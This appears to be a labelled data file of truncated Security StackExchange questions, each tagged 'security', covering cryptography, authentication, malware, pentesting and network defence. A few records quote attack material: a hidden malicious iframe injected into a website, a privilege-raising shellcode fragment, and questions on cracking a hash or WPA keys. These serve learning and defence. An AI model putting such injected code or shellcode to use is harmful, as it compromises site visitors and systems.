decentralized web search seems smart. Does anyone see any flaws in its design that may lead to additional exposures of privacy or security compared to the usual alternatives or ... ",['security'] "Title: Is it safe to use virtual machines when examining malware? Body: We want to study for the CEH program and have downloaded 12 DVDs that 6 DVDs are software key-loggers, Trojans, etc. that are all detected by antivirus. This prevents us from examining them and ... ",['security'] "Title: Android Apps accessing DNS settings? Body: I have my android device rooted, and only one RootTool app (Which is fairly popular and seems trust worthy to me, and which I use to tweak the phone) with root access. And I remember correctly setting ... ",['security'] "Title: Application communication monitoring Body: I am seeking a way to monitor communication between Android applications in order to detect their suspicious behaviour but I am not sure where to start the development process from. As far I have ... ",['security'] "Title: How to bypass tcpwrapped with nmap scan Body: I'd a scan task and I faced following result Host is up (0.032s latency). Scanned at 2012-10-25 16:06:38 AST for 856s PORT STATE SERVICE VERSION 1/tcp open tcpwrapped 3/tcp open ... ",['security'] "Title: What is the best way to manage package signing keys? Body: I am researching a way to protect, and enable accountability of, our packages when being transferred from our dev team, through to Q+A and eventually to deployment. I have initially created a signing ... ",['security'] "Title: Conceptual design of vulnerability scanning program in global retail network (PCI DSS) Body: I am trying to design yearly program to scan for vulnerabilities on a very large network of payment terminals. The company has thousands of retail points all around the world which need to be ... ",['security'] "Title: Which factors should I consider for devices that accept handwritten digital signatures? Body: These days many locations ask you to give your signature on a digital signature pad/device. As I am situated in Europe, the EU directive 1999/93/EC seems to regulate it. From what I have found out ... ",['security'] "Title: SSH key-type, rsa, dsa, ecdsa, are there easy answers for which to choose when? Body: As someone who knows little about cryptography, I wonder about the choice I make when creating ssh-keys. ssh-keygen -t type, where type is either of dsa,rsa and ecdsa. Googling can give some ... ",['security'] "Title: Limited JavaScript app scenario: Attack vectors and mitigation Body: I'm going to be developing a single page JavaScript app which allows input via a textarea. This input is never sent to the server, never shown to another user, and will only be persisted in browser ... ",['security'] "Title: What are some ways to steal a password/PIN using this system? Body: http://cups.cs.cmu.edu/soups/2007/posters/p147_lim.pdf Essentially uses an on-screen keypad that does not show the complete keypad numbers at a time. The image is refreshed at the rate of the ... ",['security'] "Title: How does pfsense block torrent traffic? Body: I know that pfsense is a very effective tool for restricting bit torrent traffic. I was wondering how it actually manages to do that ? There's not much information available on this. The more ... ",['security'] "Title: Example of a backdoor submitted to an open source project? Body: To clarify immediately, I'm not interested in writing a backdoor. I have no interest in submitting backdoor changelists to projects myself. I'm researching some source modeling techniques, and we're ... ",['security'] "Title: Is autocomplete=“off” compatible with all modern browsers? Body: There are a lot of answers on the subject (including some on StackOverflow), but none of them have recent or updated answers: I can't seem to find any documentation indicating which browsers support ... ",['security'] "Title: Keyboard sniffing through audio recorded typing patterns Body: I've been thinking about this for a while; I know people are aware of wireless wiretapping of keyboards. However, has there been research on how to wiretap keyboards based on typing patterns? I'm ... ",['security'] "Title: In WPA2-Enterprise, where does AES come in? Body: WPA2-Enterprise uses 802.1X to facilitate authentication, but when and how is CCMP/AES used to encrypt the data after the authentication is completed? Let us say you want to use PEAP, and the TLS ... ",['security'] "Title: Web app penetration testing Body: I have a static website which needs to be pentested. It has only got one form which updates some data on the server and i have pentested it with some blind PHP and SQL injection. The site is hosted on ... ",['security'] "Title: Are there special attack vectors for statistical databases? Body: Are statistical databases vulnerable to SQL injection attacks? If so, what specific kind? Can you think of an example? ",['security'] "Title: Storing OAuth and other authentication tokens Body: We all know that when to store passwords, we should store it with one-way hash such as a variant of SHA, bcrypt or scrypt to prevent plain-text password leaks when the database is hacked. But what ... ",['security'] "Title: Identifying, analyzing, and predicting weak session cookies Body: To elaborate on this, I'm looking at this from the perspective of a hacker/penetration tester. Many times I have seen web applications that I know have weak cookies. I can tell this because I can ... ",['security'] "Title: What is the HTTP “Server” response-header field used for? Body: It was not until recently that I began to question the use for the Server field in the HTTP Response-Header. I did some research: RFC 2616 states: 14.38 Server The Server response-header ... ",['security'] "Title: Security concerns with pre-pay system Body: I am looking at setting up a pre-pay system for the food retail industry. Retailers will be able to generate random 10 digit codes and supply these to customers to enter into an app to gain the value ... ",['security'] "Title: Why not buy cheap SSL certificates? [duplicate] Body: Possible Duplicate: Is there any technical security reason not to buy the cheapest SSL certificate you can find? The comparison in Godaddy's website, makes it clear: they're just cheaper ... ",['security'] "Title: auditing mod security rule sets Body: Is there a audit system that can help me try my strings? Such as user agents, post/get data, a simple way to test general sql injections to see how my rule sets hold? I know with fire fox I can ... ",['security'] "Title: User-specific Subdomains : JavaScript security Body: If I provide a public-facing website for users on my website at their own subdomain (e.g. bob.myapp.com) under their own control, can I allow them to execute arbitrary JavaScript without putting my ... ",['security'] "Title: Where can I find information on existing viruses? Body: As part of my research, I have created a small malware corpus which I'm conducting my tests against. I would like to categorize them based on Metamorphic / Polymorphic / etc. I am not sure if this is ... ",['security'] "Title: Why is a link posted to Facebook going through all redirects and showing info for final page only? Body: Today I read a post on a Facebook-group about a ""problem"" with links posted to Facebook. Appearently when you post a link at Facebook, the sites goes through the redirect(s) that may be on the site ... ",['security'] "Title: Modifiy Webbrowser User Agent to what? [closed] Body: I originally have this useragent (normal DesktopPC): Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0 but if I usually modifiy it to: New -> String ... ",['security'] "Title: How do I construct a rainbow table to crack a 6 character password? [closed] Body: Given the hash: 491c290affbf5436f0fc0584ccefb2 how do I construct a rainbow table to crack this password? ",['security'] "Title: MD5 collision attacks: are they relevant in password hashing? Body: DISCLAIMER: This is not an endorsement of MD5 as a password hashing function. I know about parallelization, GPUs, and dedicated password hashing functions like bcrypt and scrypt. With that out of ... ",['security'] "Title: Are there really functioning quantum computers? Body: I saw this video on youtube on quantum computing. It says that a company called dwavesys has already made commercially available quantum computer. I checked on the website and it exists. I thought ... ",['security'] "Title: A safe license System Body: So I'm trying to think of a good way to check if the license key a user supplies for a program is legit or not. Let's suppose this is the way they get there license They make some type of purchase. ... ",['security'] "Title: rsa encrypted hash == rsa signature Body: $ echo -n ""1327943823"" > test_ok.txt $ openssl dgst -sha1 -binary -out test_ok.sha1 test_ok.txt $ echo ""GURbsl4CFPCG83RCZxsEpoRleXicXQhH1OC4Fk77b7EMj2g8aHUhD/L+sm ... ",['security'] "Title: Do I always have to overwrite EIP to get to write on the stack in a buffer overflow? Body: Do I always have to overwrite EIP to get to write on the stack in a buffer overflow? How's the memory organized? I can't find a proper graph with google ",['security'] "Title: Vuln Web App which includes LDAP Injection? Body: I want to check several techniques for LDAP injection, but I cannot find a vulnerable application (like Webgoat, Hacme etc.) which uses LDAP injection. Do you know of any vulnerable web application ... ",['security'] "Title: “Hello World” example of a Buffer Overflow attack in many programming languages Body: I'm looking for a very simple application that has an intentional Buffer Overflow embedded in it. I'm assuming this possible in systems where DEP and ASLR are not being used Ideally (and if ... ",['security'] "Title: Client side password hashing Body: Edit: Updated to put more emphasis on the goal - peace of mind for the user, and not beefing up the security. After reading through a few discussions here about client side hashing of passwords, I'm ... ",['security'] "Title: How “leaking pointers” to bypass DEP/ASLR works Body: I was wondering if anyone could give me some clues on how ""leaking pointers"" to bypass DEP/ASLR work. I read here: The only way to reliably bypass DEP and ASLR is through an pointer leak. This ... ",['security'] "Title: SHA1 hash encoded with base64 results not consistent? Body: When i take a hash of user input test123+ i get the following base64 result:- YaddchSU52yztwIMdtHzkg3p1oA= The results have been obtained using the online sha1 convertor I m failing to understand how ... ",['security'] "Title: If I find or create a 0day exploit, can I be held liable for releasing out to the public? Body: If I found or created a 0day and decided to immediately release it into the wild (Giving a P.o.c w/ source). But not using it to actually exploit anything. Can I be held liable for it? ",['security'] "Title: How does the Copyright Alert System work? Who has implemented it? Body: Some ISPs are participating in a Copyright Alert System that notifies content authors of violations of their copyright. I'm concerned how this oversight relates to my private traffic, and what laws ... ",['security'] "Title: Award BIOS Security Body: How can I secure an Award BIOS from being flashed or attacked by a remote attacker? Are there other types of BIOS that are more secure? ",['security'] "Title: Why refresh CSRF token per form request? Body: In many tutorials and guides I see that an CSRF token should be refreshed per request, my question is why do I have to do this? Isn't a single CSRF token per session much easier than regenerating one ... ",['security'] "Title: Why not RSA-encrypt the entire document? Body: I have recently learned of a way for person B to verify that a document sent from person A is indeed from person A. Person A gives Person B his public RSA key. This must be done reliably. Person A ... ",['security'] "Title: How insecure is PowerShell Web Access? Body: Windows Server 2012 comes with a new feature that allows you to administrate the server via a PowerShell command line in any modern browser including Smartphones. This sounds cool and scary at the ... ",['security'] "Title: What is a DoS Attack and how does it differ from a DDoS attack? Body: Can some one explain to me the concept of Dos Attacks for web applications ? Also what is the distinction between Dos and Distributed Dos ( ie DDos) attacks ? Wikipedia says : In computing, a ... ",['security'] "Title: My bank makes me enter my password using the mouse. What's up with that? Body: Internet banking login process for Westpac requires user to enter the password using the mouse. It's annoying, what's up with that? Is it just to try and stop keyloggers on public computers or is ... ",['security'] "Title: Password checking in the context of symmetric encryption Body: It is my understanding that block ciphers like AES don't have any built-in mechanisms to verify data integrity upon decryption, although some modes of operation might provide that. I played around ... ",['security'] "Title: If I storing my own cards in a database. Does this fall under PCI compliance framework? Body: We want to store some cardholders data in our database. The card we want to store are all connected to our own company account. Does this fall under the PCI framework? For example do I have to comply ... ",['security'] "Title: How can I use nmap to distinguish between a normal linux machine and an android device? Body: According to this link: here, nmap 5.2 onwards is now supposed to detect android smartphones. I am using nmap 6.01 but it only identifies android devices as running a linux kernel. ",['security'] "Title: Password length limits in history of operating systems and popular web sites Body: I heard that many years ago for example passwords on linux systems were limited to 8 characters. Or rather, you could type in more than 8 characters, but only the first 8 characters mattered. ... ",['security'] "Title: Spoof email, spam and link bait? [duplicate] Body: Possible Duplicate: What malicious things can happen when clicking on links in email? Recently, I have been receiving a couple of SPAM emails seemingly from one of my friends. The email ... ",['security'] "Title: Can all the (other) recepients of a PGP encrypted message be identified? Body: Does an encrypted message contain any information about whom it is encrypted to, or at least to how many recipients? And if so, is it at least only obtainable for other recipients or for just anybody? ... ",['security'] "Title: Is it good practice to manually lock down ports on each host Body: We have a strong perimeter firewall. Would it make sense to still use IPTables on each host to hard block any and all ports except for the ones that are needed (DNS, 80 for the web server, nagios ... ",['security'] "Title: is root@localhost the same as Unix root with GUID = 0 and ID = 0? Body: Is a Mysql root user (root@localhost) the same as the computer root account (GUID = 0, ID = 0) ? I mean, is it the root which is executing the script? How can I know if the users are the same? ",['security'] "Title: JS frontend for RESTful backend vs authorization Body: I'm building web-app. And i have concern about security issues. In world a lot of similar questions, but many of them does not have really clear answer(advise,suggestion). This is the reason why i ... ",['security'] "Title: What bad things could an “attacker” do with my stolen ID's? Body: So if someone steals my (ex.: I didn't teared up a piece of paper that had these and I throwed it away on the street) ID's like my: Full name Permanent address Birth date/place My mothers name ... ",['security'] "Title: C&C domains used by Flame/Skywiper trojan Body: I'm trying to figure out if any of our clients have been infected by the recent trojan/worm Flame. I have access to our proxy logs, so I want to search for any requests made to the ""known"" C&C ... ",['security'] "Title: Does the “Special Groups” feature in Vista, 2008, R2, and Windows 7 apply to File System access? Body: The Windows 2008R2 ""Special Groups"" feature allows for detailed tracking of domain administrators when they log into the machine. This is accomplished by editing a registry key or the LSA. Is there a ... ",['security'] "Title: Using MD5 for malware ids: collision attack risks? Body: It has been known since 2004 that the MD5 hash is vulnerable to collision attacks (update - not ""preimage"" attacks - my mistake....). Yet it still seems that people are using it to identify malware. ... ",['security'] "Title: Why does my bank use this verification method? Body: I hold my business account with Lloyds TSB [UK] and the process for logging in to their online banking service(s) is as follows: Login page Enter customer number Enter password Put debit card into ... ",['security'] "Title: Is this possible to use fake AP to get wpa keys? [duplicate] Body: Possible Duplicate: Is it possible to speed up WPA/WPA2-PSK cracking using a rogue AP? Is it possible to get the WPA preshared key with a fake AP with the same SSID ? ",['security'] "Title: How do these Windows services affect the security of Windows Firewall? Body: Its common to disable unneeded services in Windows 2008 R2, but sometimes I come across installations that use Windows Firewall and related services. More info: see service dependencies for Windows ... ",['security'] "Title: Securing a script to prevent database from being exposed Body: We have an Ioncube encoded script running on an Apache web server which stores customer confidential information in a MySQL database. We have configured the script to run under its own account using ... ",['security'] "Title: What encryption is possible for ReadyBoost? Body: ReadyBoost is a technology to assist getting Windows Vista or 7 to load faster on memory-constrained PC's. Since a USB stick can be easily removed, what security options are available for this ... ",['security'] "Title: Verify if person belongs to the claimed university through his university email id Body: I need to allow users access to an application after verifying that they belong to the claimed institute through university email id. So that if a person claims that he belongs to Stanford University, ... ",['security'] "Title: Is my sons' school portal in violation of any Password/UserID rules? Body: My sons' school sends both ID and PW for a portal through USPS at various times during the year, (e.g. class registration) whether I need it or not. If I change the password, it sends a confirmation ... ",['security'] "Title: Getting started with SmartCards; what equipment do I need, what do I need to know? Body: I have an unused SmartCard slot on my laptop and I want to learn how companies take advantage of it. Are all SmartCard slots capable of reading and writing a blank card? Are there compatibility ... ",['security'] "Title: How to run a Tor exit node securely on a vps Body: I want to run a TOR exit node on a vps, what security measures do I have to put in place on the vps? I know it will be a huge target for hackers and the three letter word agencies in the USA so I need ... ",['security'] "Title: Example of attack trees in the web application security analysis Body: Here I am again asking for some informations about attack trees usage in web application analysis. For my master thesis I decided to study the usage of this formalism in order to reppresent attacks ... ",['security'] "Title: Does selecting different email address rather than info@domain.com help preventing spam mails? Body: I think when bots gather domain names or they have it since before, they create emails like info@xxx.com or support@xxx.com. Does selecting something different help to prevent spams? Does it affect it ... ",['security'] "Title: Do I have a virus on my hosted site? Body: A few weeks ago I hired an outsourcer from India to build for me a very simple PHP site. I bought PHP hosting and a domain name, and I gave him all the credentials together with the specification of ... ",['security'] "Title: I have my website in wordpress and it got hacked how to secure it? [duplicate] Body: Possible Duplicate: Protecting WordPress installations i have control panel access to my wordpress website, but last week it got hacked and i found that the index.php was replced by the ... ",['security'] "Title: External IP same as Internal IP security Body: Where I live my ISP does not give IP addresses out. My external IP address is the same as my external if I plug directly into the wall with no router. My ISP does give everybody a ""router"", that is ... ",['security'] "Title: Testing Snort IDS installation Body: What is the easiest way to test Snort IDS after installing? Would using and writing a rule that captures all of the traffic work? alert ip any any -> any any ( msg: ""ICMP packet detected!""; sid: ... ",['security'] "Title: Published data sets for IDS/IPS evaluation Body: I am looking for data sets published by researchers or freelancers which can be used for the purpose of IDS/IPS testing and evaluations. The data sets may be for portscans, DoS attacks, Remote to ... ",['security'] "Title: How do I get started with security? (beginner) [closed] Body: I have been working in web development for a fair amount of time. I am looking at developing in either Python (Django etc.) or PHP. I am new to security. Where do I begin looking? What are basic ... ",['security'] "Title: What does Bluffdale mean for privacy? Body: I posted a question related to tracing webserver attacks over here and the responses got me google-ing. My understanding has always been that privacy is dead and that essentially there's always ... ",['security'] "Title: How confident is MIME blacklisting on a proxy server? Body: We are blacklisting a number of MIME types on our proxy server so users can't download certain file types, for example, executables. Could it be possible that somehow, a malicious server can trick a ... ",['security'] "Title: How can I create a service that automatically logs onto a third-party service without storing credentials in plain text? Body: I know that storing log-in credentials in plain text is one of the cardinal no-nos of security, but I'm working on something where I can't think of any other solution. My service connects to a user's ... ",['security'] "Title: I've just purchased a VPS to use for developing and managing my clients hosting packages. What necessary steps do I have to take? Body: The VPS is running CentOS and I have full access. I only looked around using the cPanel installation and already disabled anonymous FTP access. What other security risks are there with a default VPS ... ",['security'] "Title: Best Practices for Storing Digital Certificate Body: I'm building an application where certain sensitive files need to be digitally signed before being stored in the file system using ASN.1 encoding, so they can be verified against a digital certificate ... ",['security'] "Title: Is there repetition in the Solaris 11 hash routine? Can I add some? Body: Solaris 11 now uses SHA-256, so we can have longer than 8 character passwords now, by default. That is nice. I'll just make it clear that this password is never used as a line of defence. Only a ... ",['security'] "Title: I found that the company I work for is putting a backdoor into mobile phones Body: I have found out recently that the remote assistant software that we put in a smartphone we sell can be activated by us without user approval. We are not using this option, and it is probably there ... ",['security'] "Title: DNS query through squid? [closed] Body: My IDS picked up our squid proxy server doing a dynamic DNS request. I wasn't aware squid passed DNS requests from the client to the internal DNS server. Is this possible? Snort Alert: ET POLICY ... ",['security'] "Title: Is there a router that acts as a VPN to get into the network but also sends traffic out through a VPN? Body: I have several servers that I want to lock down so they're only assessable from inside the network so I need a router that allows me to VPN in. On top of that I want certain ports(22,8022) from my ... ",['security'] "Title: Does vulnerability exist when using XHR with GET method and custom anti-CSRF HTTP header? Body: Imagine button after clicking which browser sends XHR http request with GET method. Characteristics: after executing request sensitive action is performed sensitive information is sent in GET ... ",['security'] "Title: Does NIST really recommend PBKDF2 for password hashing? Body: We hesitated between BCrypt and PBKDF2 for password hashing. In many forums and blogs people say something like ""In their Special Publication SP 800-132 NIST basically recommends using PBKDF2 for ... ",['security'] "Title: What's a free recommended anti-spyware program for Windows? [closed] Body: Its been years since I installed an anti-spyware program. Keyloggers and other nasties might have gotten installed and so I'm looking for a program to flush them out. I used to use Spybot-S&D, but ... ",['security'] "Title: How to check an Android Application for SQL Injection or XSS bugs? Body: I was just wondering how could i check my client's Android application for SQL Injection or other similar kind of bugs. I mean if its an application, where should i write the queries. If through ... ",['security'] "Title: Clicked on fake “Download Now!” ad on file transfer site (legal file for legit purposes) by accident; does anyone know what measures I should take? Body: I was sent a file by a coworker via ""sendshare"" - my first time using the service. The page loaded a bit slowly and the ads came in before the actual download link. I was in a hurry to get the file - ... ",['security'] "Title: Where do I find more information about a given hacking attempt requests to my website? Body: Having a report which shows me to which requests my website responded with a 404, I often find hacking attempts like this: Some are recurrent and too explicit, like PHPMyAdmin-type requests ... ",['security'] "Title: Shellcode for higher file privileges Body: I'm learning exploits from the book Hacking: The Art of Exploitation. The shellcode below was written to enable higher privilege access to files. \x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80 ... ",['security'] "Title: Is it a security risk to embed a commenting service (like Disqus) into our site? Body: Can commenting services like Disqus, IntenseDebate, etc. pose a security risk for corporations? Edit: What risks could arise when embedding such services into corporate websites? ",['security'] "Title: Is it true that encryption bit “strength”, although numerically identical, may actually be different depending on the algorithm? Body: I was reading recently that for AES, the encryption strength is actually the key size/length, so 128-, 192- or 256-bit. While, for SHA-2, the encryption strength is measured against the message digest ... ",['security'] "Title: Two-factor authentication w/certificate and username & password? Body: Example scenario: ActiveSync Authentication method: certificate-based authentication AND Active Directory domain username-password Encrypted on device: public & private key AD username ... ",['security'] "Title: iPhone - logging out user when app goes into background Body: Our (financial/banking) mobile app requires user to enter username/password in order to get data via webservice calls. Once user is logged in, credentials are stored in global variable until user logs ... ",['security'] "Title: How do I protect myself against 'hole 196'? Body: I came across this question a while ago and read about hole 196. Is there something I can install on my laptop to protect it against WPA2 Hole196? Software (such as Snort or DecaffeintID) can ... ",['security'] "Title: Is my computer at risk of being hacked when using public Wi-Fi? Body: I'm sitting at a cafe, using their public Wi-Fi. I don't go on sensitive sites; I basically go to a music site and listen to a live stream, for which there's no login. I don't check my email or visit ... ",['security'] "Title: Is using the same RSA key pair for both (signing and encryption) & (signing and encryption) a bad idea? [duplicate] Body: Possible Duplicate: Why should one not use the same asymmetric key for encryption as they do for signing? I'm new to IT Security. I still can't figure out why using the same RSA key pair ... ",['security'] "Title: Wifi WPA cracking with reaver Body: Hello! This question for anyone who tried or succeeded to crack wifi wpa/wpa2 keys with backtrack linux and reaver. So, I wanted to test on my wifi router. I started everything as described here. But ... ",['security'] "Title: Encryption of metadata files with the help of password based encryption Body: I have to use password-based encryption for dealing with metadata files in my application. While reading, I came across three options: bcrypt, scrypt, and PBKDF2. I read something about them, but I ... ",['security'] "Title: Understanding AirCrack output in Backtrack 5 Body: First let me clarify that I was trying to crack WPA2 in my home for educational purposes. I followed some tutorials and the message I received was: key found! [ilovegod] I know that this is not ... ",['security'] "Title: How to Perform Vulnerability Assessment for WCF services Body: Does anyone know how to perform penetration testing/vulnerability assessment for Microsoft WCF services I couldn't find a tools till now , any tools available and guides are welcome ",['security'] "Title: How secure is using this (p3 Python) module to encrypt a file? Body: I've recently been looking for a good (enough) method to encrypt files, and I came across this thing. It says that it's a Simple p3 encryption ""algorithm"": it's just SHA used as a stream cipher ... ",['security'] "Title: What is the purpose of this malware code? Body: This is the code that I found on my client's website: ?><noindex><nofollow> <iframe src=""htxp://atluscomdnsup23.ikwb.cxm/main.php?page=1f1214ff37a3022d"" height=""0"" width=""0"" ... ",['security'] "Title: Storing US employer identification number (EIN / FEIN) in a database Body: What are considerations for storing a United States Employer Identification Number (EIN / FEIN) in a database? Is this considered sensitive information along the lines of an SSN? Are there legal ... ",['security'] "Title: Are there privacy implications with ESET Web Protection? Body: I got the most recent ESET Cyber Security Beta for Mac. It offers a mode called “Web Protection” and “Email Protection”. The documentation don’t really explain what these two modes does, and I’m ... ",['security'] "Title: Session fixation attack Body: Given the following conditions, Session ID does not change upon login Session ID travels in form of HTTP cookie There is no cross site scripting/redirection vulnerability on the login page is it ... ",['security'] "Title: Can we prevent a man-in-the-middle attack with symmetric-key cryptography? Body: Suppose that Alice signs the message M = ""I love security"" and then encrypts it with Bob's public key before sending it to Bob. As well known, Bob can decrypt this to obtain the signed message and ... ",['security'] "Title: What is the value of vendor specific security certs vs. general ones? Body: Let me preface my question by saying that I understand that experience is generally more valuable than certifications when it comes to the IT profession. Having said that, are vendor specific ... ",['security'] "Title: What constitutes a Virtual Private Database? Body: I recently came across this term ""Virtual Private Database"" and I'm wondering what criteria need to be satisfied to allow use of the term. I first saw the term in an HP/Fortify doc: A virtual ... ",['security'] "Title: How do I get SSH to prompt me with the RSA key instead of the ECDSA key? Body: I am trying to SSH into my fresh Ubuntu 12.04 server. At the client I have deleted known_hosts. SSH to the host for the first time has it offering me an ECDSA key to verify. The problem is I know ... ",['security'] "Title: How can I execute a XSS with these conditions? Body: I am trying to learn penetration testing and I have downloaded a vulnerable application called ""Bodgeit Store"". I have finished almost all the challenges except one which is to execute a Cross-Site ... ",['security'] "Title: What would happen if one of the popular Linux repositories is hacked? Body: Even though most people consider downloading your Linux software from you own distribution's repositories as safe, thinking about the scenario where a repository gets hacked sounds thrilling. What ... ",['security'] "Title: Does dnssec protect against malicious registrars? Body: With the recent conspiracy theories around the registrar MarkMonitor Inc., the question arises, if DNSSEC protects against a registrar going malicious (or being attacked). This is especially ... ",['security'] "Title: Why is the diffusion property important in hash functions Body: I have always heard that A change in just one bit of the original text shall change half of the bits of its hash. I think this property is called the diffusion property. However, I wonder why ... ",['security'] "Title: intrusion detection on own hotspot? Body: Is it possible to detect failed logins on the hotspots you create with your windows/linux laptops? So you can detect some dumb brute force/guessing attempts? For example, a log like this: TIME DATA - ... ",['security'] "Title: HTML payload rewriting? Body: I read an article about some hotel injection ads to every webpage using some router: http://justinsomnia.org/2012/04/hotel-wifi-javascript-injection/ Would it be possible to do this with any existing ... ",['security'] "Title: Why does Paypal send TWO verification payments not just ONE? Body: The process would be easier if there was only one payment, but there must be some security or financial reason for Paypal to send you two random payments ",['security'] "Title: OSCP certification for junior pen tester position any good? Body: Currently finishing my degree in computer security and have a few years experience in IT support and want to get into a junior pen testing job or similar. Would the OSCP certification do me any ... ",['security'] "Title: Is it okay from a security perspective to read foreign (untrusted) cookies in a trusted network? Body: From a security point of view, is it okay to read foreign (untrusted) cookies (from 3rd parties on the Internet) on your internal (trusted) network, or should you only read them within the DMZ areas ... ",['security'] "Title: Security web scanner tool for IIS/SQL Server Body: I'm trying to do penetration testing of our ASP.NET web-site to check for security loopholes (specifically for SQL injections). We bought a commercial web scanner tool (IBM Rational AppScan), however ... ",['security'] "Title: Reliability of DNSBLs for Stopping Forum Spam Body: I know that certain DNS blacklists are considered more reliable than others, in that they don't have as many false positives. I run a forum that is known to be spammed, and I've installed a mod to ... ",['security'] "Title: What is the disadvantages of storing user role including admin in a session variable? Body: In my projects I always fetch roles from DB and store them in a session variable, then to check If a user has access to admin pages I just check the session. Let's consider I use a private hosting ... ",['security'] "Title: Is Buzzdocks a security threat? Body: A BuzzDock toolbar suddenly appeared in my Chrome browser. I definitely did not install it nor do I remember installing any crapware. It is not unknown to the internet community (Example 1, Example ... ",['security'] "Title: Checking if Mod_Rewrite is Enabled Remotely Body: When pentesting it is useful to know when apache mod_rewrite is enabled. But when one comes across a web server that does not utilize PHP it is difficult to tell if mod_rewrite is enabled considering ... ",['security'] "Title: How to check if a website is sending out a virus? Body: I'm a webmaster at a company without much knowledge of IT Security. We are running 6 computers connected to a central server that also hosts our website. 3 out of 6 people in the office have gotten ... ",['security'] "Title: Is DRM considered Confidentiality, Integrity, Availability, or some combination of the three? Body: I was discussing software trial time limit enforcement with a colleague and the idea of CIA came up. Do stricter enforcement techniques increase confidentiality at the expense of availability? (for ... ",['security'] "Title: Do fake-address generators work? Body: There are several pages on the Web that generate fake e-mail addresses so spammers can harvest them; the purpose is to fight spam. (Some examples of this concept under discussion and, in some cases, ... ",['security'] "Title: What do I need to configure, to make sure my software uses /dev/urandom? Body: When setting up a server, what configuration changes do I need to make sure that all of the software uses /dev/urandom instead of /dev/random? Some servers don't have much entropy in the entropy pool ... ",['security'] "Title: Integrity monitoring for a LAMP server Body: So I'm setting up a small e-commerce app, and am thinking what happens if the server is compromised. We are selling software so potentially an intruder could generate themselves some free serial ... ",['security'] "Title: openSSL Not Displaying all attributes Body: Here's a background of what I've done so far: I've been able to add a CRL to a self signed certificate using OpenSSL (see attached). But I'm not sure how to create an X.509 certificate issued by ... ",['security'] "Title: Is this a safe way to connect to a server Body: I am using a software to backup my website .sql data every 3 days and it connects simply to the server logs in and downloads the .sql file to my computer. While its downloading the connection is not ... ",['security'] "Title: Disadvantages of metasploit Framework for windows Body: Are there any explicit disadvantages in comparison to running it on a UNIX machine these days? ",['security'] "Title: Looking for a presentation about information security for corporate employees Body: I'd appreciate if you could recommend me a presentation the describes the dangers and possible solutions and guidelines, when using the Internet. Specifically, in corporate settings. I would need to ... ",['security'] "Title: Stripping / appending characters from user password before hashing to conceal it forever? Body: I had this idea to permanently conceal user password by requiring minimum length then stripping certain characters. For example if the user password is secret123, the system will strip it down to ... ",['security'] "Title: Injecting ampersand to the url Body: Let's say there is a program sending some data to server via GET: http://server.com/gateway?value1=abc&value3=def Then the server sends these values further, adding value2: (python code) ... ",['security'] "Title: Wireless LAN router fingerprinting Body: Does anyone know of a database that lists the range of MAC addresses that are assigned to each particular brand of router? I would like to use this information for fingerprinting. I know I can find ... ",['security'] "Title: How can winlock virus change Windows Registry without admin permission? Body: When you try to install program you'll always asked about administrator permission. Same thing when you try to user 'regedit' command. So I'm interested in how does this virus works. How can it edit ... ",['security'] "Title: Network Concerns Over a MITM Attack Body: If my website is hosted on a network of hundreds, possibly thousands, of computers wouldn't an attacker have to gain control of just one of them in order to conduct a MITM attack on my website ... ",['security'] "Title: Can a session be hijacked if the user is redirected from HTTPS to HTTP after login? Body: I am developing a web app, which makes HTTP calls as long as the user is not logged in. Once the user clicks the login button, he is sent to a ""login page"" that is HTTPS. The login makes an Ajax call ... ",['security'] "Title: What are the limitations of vulnerability scanners? Body: What are the limitations of vulnerability scanners? If it is related to how these scanners work, how these work? Thanks very much. ",['security'] "Title: Can the TrueCrypt hash be slowed down? Body: I have read that TrueCrypt uses ~2k SHA-1 hashes on the password. The iteration count is part of the TrueCrypt specification and is 2000 for SHA1, 2000 for RIPEMD-160 and 1000 for Whirlpool ... ",['security'] "Title: Cleaning a virus by mounting the infected hard disk on another machine? Body: I have a laptop that has been infected with a virus. I am thinking of taking the disk out of the laptop, putting it into an external disk enclosure, and connecting it to a second laptop so I can run ... ",['security'] "Title: Is cracking really important systems possible? Body: We always hear about ""hacking"" (or cracking) banks, websites or the like. Nothing really ""important"" like centrals, or even satellites (like TV channels). Those we only see in movies - but are they ... ",['security'] "Title: Sulley - optional element and command check Body: I'm currently using Sulley to fuzz my FTP server, but I'm having problems. I want to specify the STRU command, which has a syntax: STRU [<SP> F|R|P] <CRLF> I tried to specify the ... ",['security'] "Title: Encryption type? How can I find out what this is? [closed] Body: This is a snip of a hex format file, from a "".img"" file (not a photo) from a HHD I have. ... ",['security'] "Title: Why superuser or administrator account should never locked? Body: Why should administrator or superuser account never locked regardless how many incorrect login attempts are made? What should be done instead to alert the staff to the attempted instrusion? ",['security'] "Title: How to use attack trees and attack graphs Body: I am trying to understand how attack trees\graphs can be used in the security process. I read a lot of papers presenting the topic and how this reppresentation can be useful, but I really don't ... ",['security'] "Title: Cookie based session variables Body: I have a situation in which I cannot use a server-side session, but must allow users to log in, and for their logged in state to be persistent between queries. As with anything that involves crypto ... ",['security'] "Title: Open Source tool to block email attachments Body: Is there any way to stop users from sending attachments over Gmail or any web based email including private mail servers, if internet access is through a Linux box running Ip Tables/Squid etc. We are ... ",['security'] "Title: Source code security Body: We have about 20 developers working in a heterogeneous environment, mostly using company laptops or desktops. We run Windows 7 on desktops/laptops and a mixture of Linux distros (Ubuntu/CentOS). ... ",['security'] "Title: TLS Renegotiation Indication Extension vulnerability Body: I am trying to understand the TLS Renegotiation Indication Extension from the RFC. I can understand that it is related to the fact that the renegotiation is send under the encrypted stream but can not ... ",['security'] "Title: When form submission fails, password field gets blanked, why is that the case? Body: I've recently asked a question about blanking the password fields in UX for usability purposes, but It seems all the sites use this approach for security reasons. Why is it insecure to post back the ... ",['security'] "Title: Is it bad to only sign some of a domain's emails with DKIM? Body: Is it OK if I sign a subset of domain emails, or is this an all-or-nothing game? We use Amazon's Simple-Email-Service for sending e-commerce emails. We would like to sign these with DKIM. This same ... ",['security'] "Title: encryption key rotation Body: I am creating an web application which processes user information. As a part of application we are storing this input user information and generated output on server. Since this input and output is ... ",['security'] "Title: X509 mutual authentication: is there a security flaw? Body: On the client side, my application accepts the server's certificate in case of the client certificate being signed by this server cert. Is this correct or may it be dangerous? Is it better to ask a ... ",['security'] "Title: Lastpass - Can I just keep the previous autofills? [closed] Body: I just installed the Lastpass Firefox plugin, and it seems like a useful tool thus far. The only thing that drives me 